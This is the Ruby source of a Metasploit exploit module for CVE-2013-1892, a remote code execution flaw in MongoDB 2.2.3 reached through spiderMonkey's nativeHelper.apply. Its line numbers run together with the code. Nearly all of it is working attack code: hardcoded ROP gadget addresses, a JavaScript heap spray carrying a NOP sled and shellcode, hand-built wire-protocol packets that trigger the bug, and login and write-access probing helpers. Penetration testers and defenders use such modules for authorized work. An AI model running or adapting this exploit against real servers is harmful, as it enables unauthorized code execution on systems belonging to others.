Path: blob/master/modules/exploits/linux/misc/mongod_native_helper.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MongoDB nativeHelper.apply Remote Code Execution',15'Description' => %q{16This module exploits the nativeHelper feature from spiderMonkey which allows17remote code execution by calling it with specially crafted arguments. This module18has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.19},20'Author' => [21'agix' # @agixid # Vulnerability discovery and Metasploit module22],23'References' => [24[ 'CVE', '2013-1892' ],25[ 'OSVDB', '91632' ],26[ 'BID', '58695' ],27[ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]28],29'Platform' => 'linux',30'Targets' => [31[32'Linux - mongod 2.2.3 - 32bits',33{34'Arch' => ARCH_X86,35'mmap' => [360x0816f768, # mmap64@plt # from mongod370x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod380x31337000,390x00002000,400x00000007,410x00000031,420xffffffff,430x00000000,440x00000000,450x0816e4c8, # memcpy@plt # from mongod460x31337000,470x31337000,480x0c0b0000,490x0000200050],51'ret' => 0x08055a70, # ret # from mongod52'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]53# These gadgets need to be composed with bytes < 0x8054'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP55'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget256'gadget4' => 0x08055a6c, # pop eax / ret57'gadget5' => 0x08457158 # xchg esp,eax58}59]60],61'DefaultTarget' => 0,62'DisclosureDate' => '2013-03-24',63'License' => MSF_LICENSE,64'Notes' => {65'Reliability' => UNKNOWN_RELIABILITY,66'Stability' => UNKNOWN_STABILITY,67'SideEffects' => UNKNOWN_SIDE_EFFECTS68}69)70)7172register_options(73[74Opt::RPORT(27017),75OptString.new('DB', [ true, "Database to use", "admin"]),76OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),77OptString.new('USERNAME', [ true, "Login to use", ""]),78OptString.new('PASSWORD', [ true, "Password to use", ""])79]80)81end8283def exploit84begin85connect86if require_auth?87print_status("Mongo server #{datastore['RHOST']} use authentication...")88if !datastore['USERNAME'] || !datastore['PASSWORD']89disconnect90fail_with(Failure::BadConfig, "USERNAME and PASSWORD must be provided")91end92if do_login == 093disconnect94fail_with(Failure::NoAccess, "Authentication failed")95end96else97print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")98end99100if datastore['COLLECTION'] && datastore['COLLECTION'] != ""101collection = datastore['COLLECTION']102else103collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')104if read_only?(collection)105disconnect106fail_with(Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")107else108print_good("New document created in collection #{collection}")109end110end111112print_status("Let's exploit, heap spray could take some time...")113my_target = target114shellcode = Rex::Text.to_unescape(payload.encoded)115mmap = my_target['mmap'].pack("V*")116ret = [my_target['ret']].pack("V*")117gadget1 = "0x#{my_target['gadget1'].to_s(16)}"118gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))119gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))120gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))121gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))122123shellcode_var = "a" + Rex::Text.rand_text_hex(4)124sizechunk_var = "b" + Rex::Text.rand_text_hex(4)125chunk_var = "c" + Rex::Text.rand_text_hex(4)126i_var = "d" + Rex::Text.rand_text_hex(4)127array_var = "e" + Rex::Text.rand_text_hex(4)128129ropchain_var = "f" + Rex::Text.rand_text_hex(4)130chunk2_var = "g" + Rex::Text.rand_text_hex(4)131array2_var = "h" + Rex::Text.rand_text_hex(4)132133# nopsled + shellcode heapspray134payload_js = shellcode_var + '=unescape("' + shellcode + '");'135payload_js << sizechunk_var + '=0x1000;'136payload_js << chunk_var + '="";'137payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk_var + '+=unescape("%u9090%u9090"); } '138payload_js << chunk_var + '=' + chunk_var + '.substring(0,(' + sizechunk_var + '-' + shellcode_var + '.length));'139payload_js << array_var + '=new Array();'140payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array_var + '[' + i_var + ']=' + chunk_var + '+' + shellcode_var + '; } '141142# retchain + ropchain heapspray143payload_js << ropchain_var + '=unescape("' + Rex::Text.to_unescape(mmap) + '");'144payload_js << chunk2_var + '="";'145payload_js << 'for(' + i_var + '=0;' + i_var + '<' + sizechunk_var + ';' + i_var + '++){ ' + chunk2_var + '+=unescape("' + Rex::Text.to_unescape(ret) + '"); } '146payload_js << chunk2_var + '=' + chunk2_var + '.substring(0,(' + sizechunk_var + '-' + ropchain_var + '.length));'147payload_js << array2_var + '=new Array();'148payload_js << 'for(' + i_var + '=0;' + i_var + '<25000;' + i_var + '++){ ' + array2_var + '[' + i_var + ']=' + chunk2_var + '+' + ropchain_var + '; } '149150# Trigger and first ropchain151payload_js << 'nativeHelper.apply({"x" : ' + gadget1 + '}, '152payload_js << '["A"+"' + gadget3 + '"+"' + Rex::Text.rand_text_hex(12) + '"+"' + gadget2 + '"+"' + Rex::Text.rand_text_hex(28) + '"+"' + gadget4 + '"+"\\x20\\x20\\x20\\x20"+"' + gadget5 + '"]);'153154request_id = Rex::Text.rand_text(4)155156packet = request_id # requestID157packet << "\xff\xff\xff\xff" # responseTo158packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)159packet << "\x00\x00\x00\x00" # flags160packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (db.collection)161packet << "\x00\x00\x00\x00" # numberToSkip (0)162packet << "\x01\x00\x00\x00" # numberToReturn (1)163164where = "\x02\x24\x77\x68\x65\x72\x65\x00"165where << [payload_js.length + 4].pack("L")166where << payload_js + "\x00"167168where.insert(0, [where.length + 4].pack("L"))169170packet += where171packet.insert(0, [packet.length + 4].pack("L"))172173sock.put(packet)174175disconnect176rescue ::Exception => e177fail_with(Failure::Unreachable, "Unable to connect")178end179end180181def require_auth?182request_id = Rex::Text.rand_text(4)183packet = "\x3f\x00\x00\x00" # messageLength (63)184packet << request_id # requestID185packet << "\xff\xff\xff\xff" # responseTo186packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)187packet << "\x00\x00\x00\x00" # flags188packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" # fullCollectionName (admin.$cmd)189packet << "\x00\x00\x00\x00" # numberToSkip (0)190packet << "\x01\x00\x00\x00" # numberToReturn (1)191# query ({"listDatabases"=>1})192packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"193194sock.put(packet)195response = sock.get_once196197have_auth_error?(response)198end199200def read_only?(collection)201request_id = Rex::Text.rand_text(4)202_id = "\x07_id\x00" + Rex::Text.rand_text(12) + "\x02"203key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"204value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz') + "\x00"205206insert = _id + key + [value.length].pack("L") + value + "\x00"207208packet = [insert.length + 24 + datastore['DB'].length + 6].pack("L") # messageLength209packet << request_id # requestID210packet << "\xff\xff\xff\xff" # responseTo211packet << "\xd2\x07\x00\x00" # opCode (2002 Insert Document)212packet << "\x00\x00\x00\x00" # flags213packet << datastore['DB'] + "." + collection + "\x00" # fullCollectionName (DB.collection)214packet << [insert.length + 4].pack("L")215packet << insert216217sock.put(packet)218219request_id = Rex::Text.rand_text(4)220221packet = [datastore['DB'].length + 61].pack("L") # messageLength (66)222packet << request_id # requestID223packet << "\xff\xff\xff\xff" # responseTo224packet << "\xd4\x07\x00\x00" # opCode (2004 Query)225packet << "\x00\x00\x00\x00" # flags226packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)227packet << "\x00\x00\x00\x00" # numberToSkip (0)228packet << "\xff\xff\xff\xff" # numberToReturn (1)229packet << "\x1b\x00\x00\x00"230packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"231232sock.put(packet)233234response = sock.get_once235have_auth_error?(response)236end237238def do_login239print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")240nonce = get_nonce241status = auth(nonce)242return status243end244245def auth(nonce)246request_id = Rex::Text.rand_text(4)247packet = request_id # requestID248packet << "\xff\xff\xff\xff" # responseTo249packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)250packet << "\x00\x00\x00\x00" # flags251packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)252packet << "\x00\x00\x00\x00" # numberToSkip (0)253packet << "\xff\xff\xff\xff" # numberToReturn (1)254255# {"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}256document = "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"257document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"258document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination259document << datastore['USERNAME'] + "\x00"260document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"261document << nonce + "\x00"262document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"263document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"264document << "\x00"265# Calculate document length266document.insert(0, [document.length + 4].pack("L"))267268packet += document269270# Calculate messageLength271packet.insert(0, [(packet.length + 4)].pack("L")) # messageLength272sock.put(packet)273response = sock.get_once274if have_auth_error?(response)275print_error("Bad login or DB")276return 0277else278print_good("Successful login on DB #{datastore['db']}")279return 1280end281end282283def get_nonce284request_id = Rex::Text.rand_text(4)285packet = [datastore['DB'].length + 57].pack("L") # messageLength (57+DB.length)286packet << request_id # requestID287packet << "\xff\xff\xff\xff" # responseTo288packet << "\xd4\x07\x00\x00" # opCode (2004 OP_QUERY)289packet << "\x00\x00\x00\x00" # flags290packet << datastore['DB'] + ".$cmd" + "\x00" # fullCollectionName (DB.$cmd)291packet << "\x00\x00\x00\x00" # numberToSkip (0)292packet << "\x01\x00\x00\x00" # numberToReturn (1)293# query {"getnonce"=>1.0}294packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"295296sock.put(packet)297response = sock.get_once298documents = response[36..1024]299# {"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}300nonce = documents[15..30]301end302303def have_auth_error?(response)304# Response header 36 bytes long305documents = response[36..1024]306# {"errmsg"=>"auth fails", "ok"=>0.0}307# {"errmsg"=>"need to login", "ok"=>0.0}308if documents.include?('errmsg') || documents.include?('unauthorized')309return true310else311return false312end313end314end315316317